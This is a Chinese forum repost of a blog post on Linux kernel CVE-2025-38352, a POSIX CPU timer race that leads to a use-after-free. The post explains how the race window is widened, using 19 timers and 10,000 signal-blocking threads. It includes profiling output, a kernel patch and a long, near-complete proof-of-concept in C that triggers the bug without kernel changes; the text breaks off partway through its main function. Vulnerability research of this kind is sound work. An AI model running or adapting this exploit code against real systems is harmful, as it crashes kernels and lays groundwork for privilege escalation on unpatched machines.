找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2292

积分

0

好友

320

主题
发表于 16 小时前 | 查看: 1| 回复: 0

第一部分中,笔者逐步讲解了如何构建触发该漏洞的概念验证(PoC)。但很不幸,它存在几个问题:

  1. 如果没有引入那个通过人工增加500毫秒延迟来扩展竞争窗口的内核补丁,它几乎无法成功。
  2. 计时器设置本身不够“干净”。肯定有更好的方法来消耗受控数量的CPU时间,使得计时器能在未来的可控时刻触发。

在这篇文章中,笔者将详细说明如何解决上述两个问题,并最终得到一个无需任何内核补丁即可工作的PoC。

PoC + 演示

一如既往,如果只想看PoC,链接如下。

https://github.com/farazsth98/poc-CVE-2025-38352/blob/main/poc.c

还有一个简短的演示(未开启KASAN)! 😄

Linux内核崩溃日志截图

作为参考,QEMU命令也展示如下:

qemu-system-x86_64 \
    -enable-kvm \
    -cpu host \
    -smp 4 \
    -kernel ./bzImage \
    -initrd ./initramfs.tgz \
    -nographic \
    -append “console=ttyS0 kgdbwait kgdboc=ttyS1,115200 oops=panic panic=0 nokaslr” \
    -m 3G \
    -netdev user,id=mynet0 \
    -device virtio-net-pci,netdev=mynet0 \
    -s

要点回顾

请先阅读本系列的第一部分再继续!

在之前的PoC中,笔者在 REAPEE 线程内消耗CPU时间以触发漏洞的方式如下:

void reapee(void) {
// [ ... ]

struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value = {
            .tv_sec = 0,
            .tv_nsec = wait_time, // 自定义的等待时间
        },
    };

// 等待父进程附加
    pthread_barrier_wait(&barrier);

    SYSCHK(timer_settime(timer, 0, &ts, NULL));

// 使用一些CPU时间以确保计时器能正确触发
for (int i = 0; i < 1000000; i++);

// 希望我们消耗了足够的CPU时间,能在`exit_notify()`将进程僵尸化
// 并唤醒父进程之后触发计时器
return;
}

这里的 wait_time 通过 argv 提供,而 for 循环只是随机设定某个能工作的值。基本上,在设置计时器之后,对消耗多少CPU时间的控制为零。

我们能改进吗?当然可以!

CPU调度器内部机制(非深度解析)

为了理解如何控制线程消耗的CPU时间,笔者不得不半深入地研究CPU调度器、POSIX计时器以及不同类型CPU计时器( CPUCLOCK_PROFCPUCLOCK_VIRTCPUCLOCK_SCHED )的工作原理。

关键要点总结

笔者不会阐述得太深(这值得专门写一篇博文),但总结一些关键要点如下(总结可能并非100%准确):

  1. CPU调度器每 1 / CONFIG_HZ 秒触发一次中断。此时会运行 run_posix_cpu_timers()
    • 至少Android和Ubuntu内核是这种情况。
    • 通常, CONFIG_HZ=1000 ,所以CPU调度器的“节拍”(tick)每 1 毫秒发生一次。
  2. 有三种类型的CPU时钟计时器:
    • CPUCLOCK_PROF - 计算用户态和内核态消耗的总CPU时间。
    • CPUCLOCK_VIRT - 仅计算用户态消耗的总CPU时间。
    • CPUCLOCK_SCHED - 计算实际在CPU上运行的总时间。对于可以被调度器调度进出CPU的线程很重要。
  3. 计时器到期检查总是在一个节拍边界上进行,因此到期检查最多每 1 / CONFIG_HZ 秒发生一次。
  4. CPUCLOCK_PROFCPUCLOCK_VIRT 时钟只有在其消耗完 1 / CONFIG_HZ 的CPU时间后才会被更新
    • CPUCLOCK_SCHED 是特殊情况。它每纳秒更新一次。
    • 这意味着 CPUCLOCK_SCHED 通常用于需要比 1 毫秒更精细粒度的情况进行性能分析。
  5. 为了触发漏洞,理论上我们可以使用三种时钟类型中的任何一种。
    • 笔者的PoC为计时器使用了 CLOCK_THREAD_CPUTIME_ID ,这是一种 CPUCLOCK_SCHED 计时器。
    • 使用这种特定计时器类型有很好的理由,本文稍后会解释!

这应该是理解后续部分所需的最低限度的信息。

分析CPU时间消耗

为了消耗受控数量的CPU时间,我们需要实际知道某些具体工作负载消耗了多少时间。

对于任何性能分析,我们需要能够在两个或多个独立的执行点获取(被分析线程)消耗的总CPU时间。这可以通过使用 clock_gettime 系统调用来实现。

对于我们要分析的“具体工作负载”,笔者选择了 getpid 系统调用,因为它易于使用且消耗的CPU时间极少。

现在,毫不奇怪的是, clock_gettime 系统调用本身也消耗CPU时间,所以我们必须在分析代码中考虑这个开销。

为此,以下是一些概念验证代码,可用于准确计算 getpid 系统调用消耗多少CPU时间(点击此处查看完整PoC):

#define NUM_SAMPLES 100000
static long int clock_gettime_avg = 0;

// 如果`NUM_SAMPLES`太大可能会溢出,但对于简单的系统调用,
// 这样用没问题
long int getpid_avg_cputime_used() {
struct timespec *ts = malloc(NUM_SAMPLES * sizeof(struct timespec));

if (clock_gettime_avg == 0) {
for (int i = 0; i < NUM_SAMPLES; i++) {
            syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
        }

long int total_nsec = 0;

for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i]));
            total_nsec += time_taken;
        }

        clock_gettime_avg = total_nsec / (NUM_SAMPLES-1);
    }

for (int i = 0; i < NUM_SAMPLES; i++) {
        syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);

// 在这里执行你要测量的操作
        syscall(__NR_getpid);
    }

long int total_nsec = 0;
for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i])) - clock_gettime_avg;
        total_nsec += time_taken;
    }

free(ts);
return total_nsec / (NUM_SAMPLES-1);
}

以下是笔者QEMU虚拟机(4个核心,3GB RAM)的一些输出:

/ # /poc
clock_gettime avg: 489 ns
getpid avg: 139 ns
/ # /poc
clock_gettime avg: 495 ns
getpid avg: 143 ns
/ # /poc
clock_gettime avg: 491 ns
getpid avg: 133 ns
/ # /poc
clock_gettime avg: 495 ns
getpid avg: 130 ns

显然,PoC使用的是平均值,所以时间并非100%准确,但任何系统调用的CPU时间消耗在多次运行中都不会保持一致,所以这个平均值已经足够好了(笔者是这么认为的……如果你有更好的计算方法,请告诉我!)

第一项改进 - 受控的CPU时间消耗

我们可以对PoC进行的第一项改进是,通过以下方式让 REAPEE 线程以更可控的方式消耗CPU时间:

  1. 使用分析代码获取 getpid 系统调用消耗的平均CPU时间。
  2. 设置计时器在消耗 1 毫秒( 1,000,000 纳秒)CPU时间后触发。
  3. 循环运行 getpid 系统调用足够多次,以消耗接近 1 毫秒的CPU时间(但关键是,不能全部消耗!)。

此时,任何剩余的CPU时间将被内核在 do_exit() -> exit_notify() 中消耗,如果 getpid 系统调用循环消耗的CPU时间刚好够用,计时器就应该在 exit_notify()REAPEE 线程僵尸化并唤醒回收父进程之后触发,并调用 handle_posix_cpu_timers()

可以通过分析 do_exit() -> exit_notify() 消耗多少CPU时间(通过打内核补丁)来提高上述第3步的准确性,但笔者目前还没有进行这一步。

以下是在PoC中展示的改进:

// 获取`getpid()`系统调用的平均CPU时间消耗,
// 便于稍后用于触发
getpid_avg = getpid_cpu_usage();

// [ ... ]

// 在启动计时器后,现在消耗刚好足够的CPU时间,
// 但不要触发任何计时器
for (int i = 0; i < ((ONE_MS_NS / getpid_avg) - syscall_loop_times); i++) {
    syscall(__NR_getpid);
}

// 这个`return`将在内核中触发`do_exit()`,希望这能
// 在`exit_notify()`唤醒利用父进程中的`waitpid()`之后触发计时器
return;

在上面的PoC中, syscall_loop_times 是一个变量,初始值为20,每次尝试时递增,在笔者的PoC中上限为 SYSCALL_LOOP_TIMES_MAX=150 。由于消耗的CPU时间量并不总是准确的,笔者的最终PoC尝试每次重试都增加这个值,以确保竞争一定能发生。

这一改动极大地提高了 handle_posix_cpu_timers()exit_notify() 唤醒回收父进程之后运行的可能性。

此外,它还使PoC与系统无关,因为不同的系统对于相同的工作负载会消耗不同数量的CPU时间。

扩展竞争窗口 - 第一部分

现在来解决第二个(可以说更烦人的)问题:如何扩展竞争窗口?

使用更多计时器

我们能进行的第一个改进应该很明显。请记住, handle_posix_cpu_timers() 会将所有触发的计时器收集到一个局部的 firing 列表中,然后遍历它们(代码简化如下):

static void handle_posix_cpu_timers(struct task_struct *tsk) {
// Faith: 局部`firing`列表
  LIST_HEAD(firing);

if (!lock_task_sighand(tsk, &flags))
return;

do {
// [ ... ]
// Faith: 收集所有线程和进程计时器
  check_thread_timers(tsk, &firing);
  check_process_timers(tsk, &firing);
  } while (!posix_cpu_timers_enable_work(tsk, start));

// [ ... ]
  unlock_task_sighand(tsk, &flags);

// Faith: 遍历`firing`列表并触发计时器
  list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
// [ ... ]
  }
}

笔者的旧PoC只使用了一个计时器,这意味着 firing 列表只被遍历一次。在我们释放计时器之前用于竞赛的时间不多,对吧?

我们可以通过做两件事来改进:

  1. firing 列表填充到其最大容量。
  2. firing 列表中的最后一个计时器成为我们的目标UAF计时器。

现在, handle_posix_cpu_timers() 先调用 check_thread_timers() ,然后才是 check_process_timers() 。由于计时器是插入到 firing 列表的尾部,我们无法利用进程计时器,因为它们都将被插入到UAF计时器之后。

那我们只剩下线程计时器。我们能向 firing 列表中插入多少个呢?

static void check_thread_timers(/* ... */) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
  u64 samples[CPUCLOCK_MAX];
// [ ... ]

  task_sample_cputime(tsk, samples);
  collect_posix_cputimers(pct, samples, firing);
// [ ... ]
}

static void collect_posix_cputimers(/* ... */) {
// [ ... ]
for (i = 0; i < CPUCLOCK_MAX; i++, base++) {
  base->nextevt = collect_timerqueue(&base->tqhead, firing,
          samples[i]);
  }
}

#define MAX_COLLECTED 20

static u64 collect_timerqueue(/* ... */) {
// [ ... ]
while ((next = timerqueue_getnext(head))) {
// [ ... ]
/* 限制一次到期的计时器数量 */
if (++i == MAX_COLLECTED || now < expires)
return expires;

// [ ... 将计时器添加到`firing`列表尾部 ... ]
  }

return U64_MAX;
}

在上面的代码中, CPUCLOCK_MAX 表示CPU调度器内部机制一节中提到的三种时钟类型,因此设置为3。

另外请注意,上面 collect_timerqueue() 中的 MAX_COLLECTED 检查实际上是存在“差一错误”(off-by-one)的。所以,不是允许每个时钟类型最多收集 20 个计时器,而是只收集最多 19 个计时器。

因此,综合来看,我们最多可以在触发列表中收集 19 * 3 = 57 个计时器。最棒的是,我们很幸运: CPUCLOCK_SCHED (这是我们创建UAF计时器使用的时钟类型)是最后一个时钟类型!

#define CPUCLOCK_PROF  0
#define CPUCLOCK_VIRT  1
#define CPUCLOCK_SCHED  2
#define CPUCLOCK_MAX  3

在笔者的PoC中,只使用了19个 CPUCLOCK_SCHED 类型的计时器,因为最终足以扩展竞争窗口来触发漏洞。

然而,由于利用很可能需要使用跨缓存(cross-cache)技术将被释放的 struct k_itimer 重新分配为其他东西,笔者后来很可能最终会在这里使用全部57个计时器。这也是笔者在PoC中使用 CPUCLOCK_SCHED 类型计时器的一个原因,因为它给了我们最大的潜在竞争窗口。

同时触发所有计时器

要同时触发所有计时器,我们可以利用一个事实: CLOCK_THREAD_CPUTIME_ID 类型的计时器只有在创建该计时器的线程消耗CPU时间时才会前进。

因此,要同时触发所有19个计时器,我们只需要做以下事情:

  1. REAPEE 线程上创建所有19个CPU计时器(18个“拖延”计时器 + 我们的UAF计时器),然后使其进入睡眠状态。
    • 确保这不是忙等待睡眠,这样它就不会消耗CPU时间。
    • 笔者使用 pthread_barrier_t 来实现这一点。
  2. 在另一个线程上,调用 timer_settime() 来启动所有计时器,设置在消耗 1,000,000 纳秒( 1 毫秒)的CPU时间后触发。
    • 由于这个线程没有创建计时器,计时器根本不会前进(因为只有处于睡眠状态的 REAPEE 线程才能推进这些计时器)。
  3. 我们必须确保将18个“拖延”计时器设置为在消耗 1,000,000 - 1 纳秒的CPU时间后触发。
    • UAF计时器仍然必须在消耗 1,000,000 纳秒的CPU时间后触发。
    • 这一步确保UAF计时器在 firing 列表的最后一个,因为触发列表是按到期时间排序的。

完成上述操作后,我们可以唤醒 REAPEE 线程,并使用前面部分的改进来消耗刚好少于 1 毫秒的CPU时间,以在正确的时间触发 handle_posix_cpu_timers()

效果如何?

为了弄清楚 handle_posix_cpu_timers() 中遍历 firing 列表到底消耗了多少CPU时间,笔者使用了以下内核补丁。笔者确保不会意外地扩展竞争窗口(笔者的最终PoC在没有这个补丁的情况下也能工作)。

补丁的重要部分如下所示。它会分析遍历 firing 列表并触发每个计时器所花费的时间:

@@ -1356,6 +1362,10 @@ static void handle_posix_cpu_timers(struct task_struct *tsk)
   */
  unlock_task_sighand(tsk, &flags);

+ // Faith: 分析处理这些计时器所花费的时间
+ if (profile)
+  profile_t0 = ktime_get_mono_fast_ns();

  /*
   * Now that all the timers on our list have the firing flag,
   * no one will touch their list entries but us.  We'll take
@@ -1387,6 +1397,13 @@ static void handle_posix_cpu_timers(struct task_struct *tsk)
   rcu_assign_pointer(timer->it.cpu.handling, NULL);
   spin_unlock(&timer->it_lock);
  }

+ // Faith: 分析处理这些计时器所花费的时间
+ if (profile) {
+  profile_t1 = ktime_get_mono_fast_ns();
+  printk("handle_posix_cpu_timers: delta_ns=%llu\n",
+   (unsigned long long)(profile_t1 - profile_t0));
+ }

用于测试此性能分析代码的PoC可以在这里看到。请注意,这个分析PoC还包含了一些进一步扩展竞争窗口的改动(笔者将在下一节讨论它们)。

PoC的重要部分如下(请点击链接):

  1. REAPEE线程创建19个计时器并进入睡眠
  2. 主线程启动所有19个计时器并唤醒REAPEE线程
  3. REAPEE线程消耗足够多的CPU时间来触发handle_posix_cpu_timers()

运行此PoC(不包括进一步增加竞争窗口的额外改动)后的 dmesg 日志如下:

~ $ /poc
[   10.543155] handle_posix_cpu_timers: delta_ns=3140
~ $ /poc
[   10.964147] handle_posix_cpu_timers: delta_ns=4990
~ $ /poc
[   11.404146] handle_posix_cpu_timers: delta_ns=6000

平均而言,在 firing 列表中遍历19个计时器所花费的时间大约在 4000-7000 纳秒之间。

根据笔者的测试,这仍然不足以触发漏洞:

  1. 要在回收僵尸化的 REAPEE 线程后,用我们的 timer_delete() 命中这个竞争窗口仍然极其困难。
  2. 即使我们赢得了竞争,也几乎没有时间让RCU释放(RCU free)发生。

因此,我们需要想办法进一步扩展竞争窗口……纳秒级别是不够的,我们需要毫秒级别!

扩展竞争窗口 - 第二部分

在较高层面上,我们还有两个选项可以扩展竞争窗口:

  1. 列表遍历过程会尝试获取 timer->it_lock ,以及稍后的 task->sighand->siglock 。如果另一个CPU能在正确的时刻长时间持有这些锁,我们就可以扩展竞争窗口。
  2. 触发计时器涉及发送信号、重新启动计时器以及许多其他操作。也许我们可以研究该流程,以找出扩展竞争窗口的方法?

方案 1 - 锁冲突

笔者审计了所有获取 timer->it_locktask->sighand->lock 的代码路径,以确定是否有任何好方法可以长时间持有这些锁。然而,这种方法存在一些问题。

两个锁的第一个问题都与较短的竞争窗口有关。我们不仅需要在竞争窗口内获取任何一个锁,而且还需要在 firing 列表即将获取该特定计时器/任务的锁时获取它。这在 4000-7000 纳秒的竞争窗口内是极其困难的。

第二个问题是,笔者找不到任何长时间/受控时间持有这些锁的代码路径。例如,尽管 timer_gettime() 会调用 copy_to_user() ,但它会在调用之前释放 timer->it_lock 。总的来说,所有代码路径获取和释放锁都非常快。

然而,笔者不久前从Jann Horn的一篇博文中学到了一些东西——像Android内核这样的可抢占内核(preemptible kernels)可以在任何时间点抢占代码,除非代码运行在禁用抢占的上下文中。

了解这一点后,我能以某种方式使 timer->it_lock / task->sighand->lock 被另一个CPU上的任务获取,然后让该任务被抢占,从而使锁被长时间持有吗?

不幸的是,答案是否定的。这两个锁都是通过 spin_lock() / spin_lock_irq() / spin_lock_irqsave() 获取的,这些函数在持有锁期间会禁用抢占。

因此,锁冲突方案被明确排除。

方案 2 - 延长计时器触发过程

笔者花了一些时间审计 cpu_timer_fire() ,看看计时器触发逻辑是如何实现的。笔者主要寻找可以用户态控制迭代次数的循环。

函数 complete_signal() 引起了笔者的注意。它可以通过以下调用栈访问:

handle_posix_cpu_timers()
-> cpu_timer_fire()
-> posix_timer_queue_signal()
-> send_sigqueue()
-> complete_signal()

complete_signal() 内部,笔者注意到两个while循环(代码简化如下):

static void complete_signal(int sig, struct task_struct *p, enum pid_type type) {
// [ ... ]
// Faith: 如果指定了要发送信号的PID,并且该线程/进程接受此信号,就使用它
if (wants_signal(sig, p))
  t = p;
// Faith: 否则如果该PID不接受此信号,并且没有其他线程,
//        则提前返回。
else if ((type == PIDTYPE_PID) || thread_group_empty(p))
return;
else {
// Faith: 遍历每个线程,直到找到一个接受此信号的线程
  t = signal->curr_target;
while (!wants_signal(sig, t)) {
    t = next_thread(t);
if (t == signal->curr_target)
// Faith: 没有找到接受此信号的线程,直接返回
return;
  }
  signal->curr_target = t;
}

// Faith: 如果检测到致命信号(以及其他一些条件)
if (sig_fatal(p, sig) &&
     (signal->core_state || !(signal->flags & SIGNAL_GROUP_EXIT)) &&
     !sigismember(&t->real_blocked, sig) &&
     (sig == SIGKILL || !p->ptrace)) {
// [ ... ]
// Faith: 此处的代码会遍历此线程组中的每个线程,
//        并向每个线程发送一个`SIGKILL`来杀死它。
// Faith: 此处的代码会遍历此线程组中的每个线程,
//        并向每个线程发送一个`SIGKILL`来杀死它。
  }
// [ ... ]
}

在上面的代码中,有两个循环。

  1. 第一个 while 循环在我们让计时器发送信号但没有指定TID时进入。它将遍历线程组中的每个线程,直到找到一个没有阻塞此信号的线程(信号可以通过 sigprocmask() 阻塞)。
  2. 第二个循环被注释掉了,但它只会在要发送的信号被认为是致命信号时进入(再加上一些其他条件)。这实际上会杀死线程组中的每个线程。

现在,笔者认为第二个循环实际上无法使用,因为它会杀死线程组中的每个线程。但笔者不想之后自打嘴巴 😅 可能存在一种场景,多个进程可以同步起来,使它们的计时器在同一CPU上触发。在这种情况下,这些其他“无用”的进程可以被杀死,而不影响主要的利用进程,这可能使得第二个循环实际上可以利用。然而,笔者没有测试或验证这一点。

在笔者的PoC中,只使用了第一个 while 循环来扩展竞争窗口。那么,现在来看看如何实现这一点,好吗?

第二项改进 - 大量创建线程

从上面的 complete_signal() 来看,笔者看到它会遍历当前进程中的每个线程,直到找到一个“需要”该信号的线程。

那么, wants_signal() 是如何实现的呢?(代码简化如下):

static inline bool wants_signal(int sig, struct task_struct *p) {
if (sigismember(&p->blocked, sig))
return false;

// [ ... ]
}

实际上, wants_signal() 中还有更多条件,但它首先检查的是线程是否阻塞了计时器试图发送的信号。

->blocked 字段包含一个要阻塞的信号的位图。可以使用 sigprocmask()SIG_BLOCK 向其中添加信号(代码简化如下):

int sigprocmask(int how, sigset_t *set, sigset_t *oldset) {
// [ ... ]
switch (how) {
case SIG_BLOCK:
  sigorsets(&newset, &tsk->blocked, set);
break;
// [ ... ]
  }

  __set_current_blocked(&newset);
return 0;
}

因此,了解以上信息后,我们就有办法强制内核为我们18个“拖延”计时器中的每一个遍历这个while循环任意多次。我们只受限于我们可以创建多少线程。

实现这一点的步骤如下:

  1. 在利用子进程中创建任何线程之前,通过 sigprocmask() 阻塞 SIGUSR1
    • 利用子进程是包含 REAPEE 线程的那个进程。
  2. 创建 REAPEE 线程。创建计时器时,确保计时器的 sigevent.sigev_notify 设置为 SIGEV_SIGNAL
    • 这将尝试将信号发送给当前线程组中任何接受该信号的线程。
  3. 在利用子进程中尽可能多地创建线程(笔者使用了 NUM_SLEEP_THREADS=10000 )。
    • 这些线程(以及上面的 REAPEE 线程)将继承利用子进程中被阻塞的 SIGUSR1
  4. 像往常一样继续进行触发漏洞的操作。

一旦计时器触发, handle_posix_cpu_timers() 中的 firing 列表遍历过程将为每个计时器调用一次 complete_signal() ,而每个计时器将在 complete_signal() 内部的 while 循环中遍历 NUM_SLEEP_THREADS=10000 次后才返回。

笔者已经将此功能实现在了之前提到的同一个分析PoC中。使用这第二项改进运行此程序会产生以下输出:

~ $ /poc
[    2.386969] handle_posix_cpu_timers: delta_ns=4895749
~ $ /poc
[    3.101971] handle_posix_cpu_timers: delta_ns=3904588
~ $ /poc
[    3.679125] handle_posix_cpu_timers: delta_ns=4052398

巨大的改进!现在遍历 firing 列表所花费的时间在 4,000,000-5,000,000 纳秒( 4-5 毫秒)之间!这绝对足够的时间来:

  1. 在竞争窗口内命中 timer_delete()
  2. 让RCU释放完成,从而触发UAF。

这样,PoC就可以在没有任何人工内核补丁的情况下触发竞争条件。

其他杂项改进与想法

笔者还对最终的PoC做了一些其他改进:

  1. 笔者在PoC中直接实现了重试逻辑,因此你可以直接运行 /poc ,而不是 while true; do /poc; done
  2. 笔者在删除计时器前添加了 1 毫秒的睡眠。由于竞争窗口至少会开放 3 毫秒,这有助于确保 timer_delete() 确实落在竞争窗口内。

关于第三部分的计划?

撰写本文时,笔者确实计划继续研究此漏洞的利用。跨缓存在这里是非常可行的,这只是一个弄清楚我们何时赢得竞争与何时输掉竞争的问题。

然而,由于现在是假期,笔者需要一段时间才能完成这项工作。但请放心!这是一个非常好的漏洞,可以用来练习和提高笔者的漏洞利用开发技能,所以我有信心完成它! 😄

结论

一如既往,如果有任何问题,请不要犹豫,直接提问!

最终PoC

最终的PoC,以及内核分析器补丁(和笔者用于测试竞争窗口长度的分析PoC)都可以在笔者的Github仓库中找到:

https://github.com/farazsth98/poc-CVE-2025-38352

笔者也在下面放上演示和PoC。本篇内容到此结束!

内核崩溃堆栈跟踪信息截图

#define _GNU_SOURCE
#include<time.h>
#include<signal.h>
#include<stdio.h>
#include<unistd.h>
#include<pthread.h>
#include<sys/ptrace.h>
#include<sys/wait.h>
#include<sys/types.h>
#include<stdlib.h>
#include<err.h>
#include<sys/prctl.h>
#include<sched.h>
#include<linux/membarrier.h>
#include<sys/syscall.h>

#define SYSCHK(x) ({            \
    typeof(x) __res = (x);      \
if (__res == (typeof(x))-1) \
      err(1, “SYSCHK(“ #x “)”); \
    __res;                      \
})

#define NUM_SAMPLES 100000
#define NUM_TIMERS 18
#define ONE_MS_NS 1000000uLL
#define NUM_SLEEP_THREADS 10000
#define NUM_SLEEP_THREADS_KASAN 4500 // KASAN 的线程限制较小
#define SYSCALL_LOOP_TIMES_MAX 150

void pin_on_cpu(int i) {
cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

void wait_for_rcu() {
    syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0);
}

static inline long long ts_to_ns(const struct timespec *ts) {
return (long long)ts->tv_sec * 1000000000LL + (long long)ts->tv_nsec;
}

static long int clock_gettime_avg = 0;
static long int getpid_avg = 0;

// 如果`NUM_SAMPLES`太大可能会溢出,但对于简单的系统调用,
// 这样用没问题
long int getpid_cpu_usage() {
struct timespec *ts = malloc(NUM_SAMPLES * sizeof(struct timespec));

// 如果我们还没有`clock_gettime`的平均CPU时间消耗,现在就获取
if (clock_gettime_avg == 0) {
for (int i = 0; i < NUM_SAMPLES; i++) {
            syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
        }

long int total_nsec = 0;

for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i]));
            total_nsec += time_taken;
        }

        clock_gettime_avg = total_nsec / (NUM_SAMPLES-1);
    }

for (int i = 0; i < NUM_SAMPLES; i++) {
        syscall(__NR_clock_gettime, CLOCK_THREAD_CPUTIME_ID, &ts[i]);
        syscall(__NR_getpid);
    }

long int total_nsec = 0;
for (int i = 0; i < NUM_SAMPLES-1; i++) {
long int time_taken = (long int)(ts_to_ns(&ts[i + 1]) - ts_to_ns(&ts[i])) - clock_gettime_avg;
        total_nsec += time_taken;
    }

free(ts);
return total_nsec / (NUM_SAMPLES-1);
}

/* 全局变量用于利用设置 开始 */
pthread_barrier_t barrier;

// 用于拖延`handle_posix_cpu_timers()`以扩展竞争窗口的计时器
timer_t stall_timers[NUM_TIMERS];
timer_t uaf_timer;

// 将触发计时器处理的线程,同时也是将被利用父进程回收的线程
pthread_t reapee_thread;

int e2w[2]; // exploit 进程到 wrapper 进程的通信管道文件描述符
int c2p[2]; // 子进程到父进程的通信管道文件描述符
int p2c[2]; // 父进程到子进程的通信管道文件描述符
int stall_fds[2]; // 用于睡眠函数的阻塞管道文件描述符

// 循环执行`getpid()`系统调用以浪费CPU时间的减少次数
int syscall_loop_times = 20;
int retry_count = 0;
/* 全局变量用于利用设置 结束 */

void reapee_func(void) {
// 固定在与睡眠线程相同的CPU上
    pin_on_cpu(2);
struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_SIGNAL;
    sev.sigev_signo = SIGUSR1;
char m;

    prctl(PR_SET_NAME, “REAPEE”);

// 将此线程的TID发送给父进程
pid_t tid = (pid_t)syscall(SYS_gettid);
    SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));

// 等待父进程附加并继续
    pthread_barrier_wait(&barrier); // barrier 1

// 创建最大数量的计时器减去一个
for (int i = 0; i < NUM_TIMERS; i++) {
        SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &stall_timers[i]));
    }

// 创建UAF计时器作为最后一个计时器
    SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &uaf_timer));

// 等待主线程启动计时器。这是为了确保
// 此线程不会使用CPU时间来启动计时器。
    pthread_barrier_wait(&barrier); // barrier 2
    pthread_barrier_wait(&barrier); // barrier 3

// 现在就浪费刚好足够的CPU时间,但不要触发任何计时器
for (int i = 0; i < ((ONE_MS_NS / getpid_avg) - syscall_loop_times); i++) {
        syscall(__NR_getpid);
    }

// 这个`return`将在内核中触发`do_exit()`,希望这能
// 在`exit_notify()`唤醒利用父进程中的`waitpid()`之后触发计时器
return;
}

void sleep_func(void) {
// 与 REAPEE 线程相同的CPU
    pin_on_cpu(2);
char m;

    prctl(PR_SET_NAME, “SLEEPER”);

// 阻塞并睡眠,不使用CPU
    read(stall_fds[0], &m, 1);
}

int main(int argc, char *argv[]) {
// wrapper 进程的循环
while (1) {
// wrapper 进程设置
printf(“Wrapper: try %d\n”, ++retry_count);
        SYSCHK(pipe(e2w));
pid_t exploit_pid = SYSCHK(fork());

if (exploit_pid) {
// wrapper 进程(在此固定CPU无关紧要)
char m;
            close(e2w[1]);

// 阻塞读,直到重试
int read_count = read(e2w[0], &m, 1);

// 如果 read_count > 0,重试
if (read_count == 0) break;

// 减少下一次重试的循环次数,但
// 上限为 SYSCALL_LOOP_TIMES_MAX
            syscall_loop_times++;
            syscall_loop_times %= SYSCALL_LOOP_TIMES_MAX+1;
            syscall_loop_times = syscall_loop_times == 0 ? 20 : syscall_loop_times;

// 关闭管道以便可以重新创建
            close(e2w[0]);

// 等待 exploit 进程退出
            waitpid(exploit_pid, NULL, __WALL);
        } else {
// exploit 进程
char m;
            close(e2w[0]);

// 父进程和子进程设置
// 使用管道在父进程和子进程之间通信
            SYSCHK(pipe(c2p));
            SYSCHK(pipe(p2c));

// 获取`getpid()`系统调用的平均CPU时间消耗,
// 便于稍后用于触发
            getpid_avg = getpid_cpu_usage();

pid_t pid = SYSCHK(fork());

if (pid) {
// exploit 父进程
                pin_on_cpu(1);
char m;
                close(c2p[1]);
                close(p2c[0]);

                prctl(PR_SET_NAME, “EXPLOIT_PARENT”);

// 接受子进程中 REAPEE 线程的 TID
pid_t tid;
                SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));

// 附加到 REAPEE 线程并继续执行它
                SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
                SYSCHK(waitpid(tid, NULL, __WALL));
                SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));

// 向子进程发出信号,表示我们已附加并继续执行
                SYSCHK(write(p2c[1], &m, 1));

// 现在回收 REAPEE 线程。这将阻塞并等待,
// 直到 REAPEE 线程能够通过`exit_notify()`并
// 唤醒此父进程。
                SYSCHK(waitpid(tid, NULL, __WALL));

// 此时,如果UAF计时器在正确的时间触发,REAPEE 线程
// 将在其`tsk->exit_state`设置为`EXIT_ZOMBIE`时被回收。
//
// 让子进程知道 REAPEE 已被回收,以便它可以删除
// 计时器。
                SYSCHK(write(p2c[1], &m, 1));

// 让子进程删除并释放计时器,以及
// 所有线程再退出
                SYSCHK(read(c2p[0], &m, 1));

// 向 wrapper 进程发出信号以重试并退出
// TODO exploit: 在此处找出如何检测是否触发了UAF
                SYSCHK(write(e2w[1], &m, 1));

// 等待子进程退出后再退出
                waitpid(pid, NULL, __WALL);
                close(e2w[1]);
                close(c2p[0]);
                close(p2c[1]);
exit(0);
            } else {
// exploit 子进程
                pin_on_cpu(0);
char m;
                close(c2p[0]);
                close(p2c[1]);

// 睡眠线程阻塞用的管道文件描述符
                SYSCHK(pipe(stall_fds));

// 阻塞 SIGUSR1,后续线程也会继承此阻塞
sigset_t mask;
                sigemptyset(&mask);
                sigaddset(&mask, SIGUSR1);
                sigprocmask(SIG_BLOCK, &mask, NULL);

                prctl(PR_SET_NAME, “EXPLOIT_CHILD”);
                pthread_barrier_init(&barrier, NULL, 2);

// 根据KASAN与否更改此值
int num_sleep_threads = NUM_SLEEP_THREADS;
pthread_t sleep_threads[num_sleep_threads];

                SYSCHK(pthread_create(&reapee_thread, NULL, (void*)reapee_func, NULL));

for (int i = 0; i < num_sleep_threads; i++) {
int ret = pthread_create(&sleep_threads[i], NULL, (void*)sleep_func, NULL);
if (ret != 0) {
// 如果达到此条件,请更改上面的`num_sleep_threads`
printf(“Failed on thread %d\n”, i+1);
                    num_sleep_threads = i;
break;
                    }
                }

// 等待所有线程创建并进入睡眠
                usleep(10 * 1000);

// 父进程附加并继续后向我们写入,使用
// barrier 来让 REAPEE 线程现在继续执行
                SYSCHK(read(p2c[0], &m, 1));
                pthread_barrier_wait(&barrier); // barrier 1

// 等待 REAPEE 线程创建计时器
                pthread_barrier_wait(&barrier); // barrier 2

// 现在启动计时器,确保前18个在
// UAF计时器之前
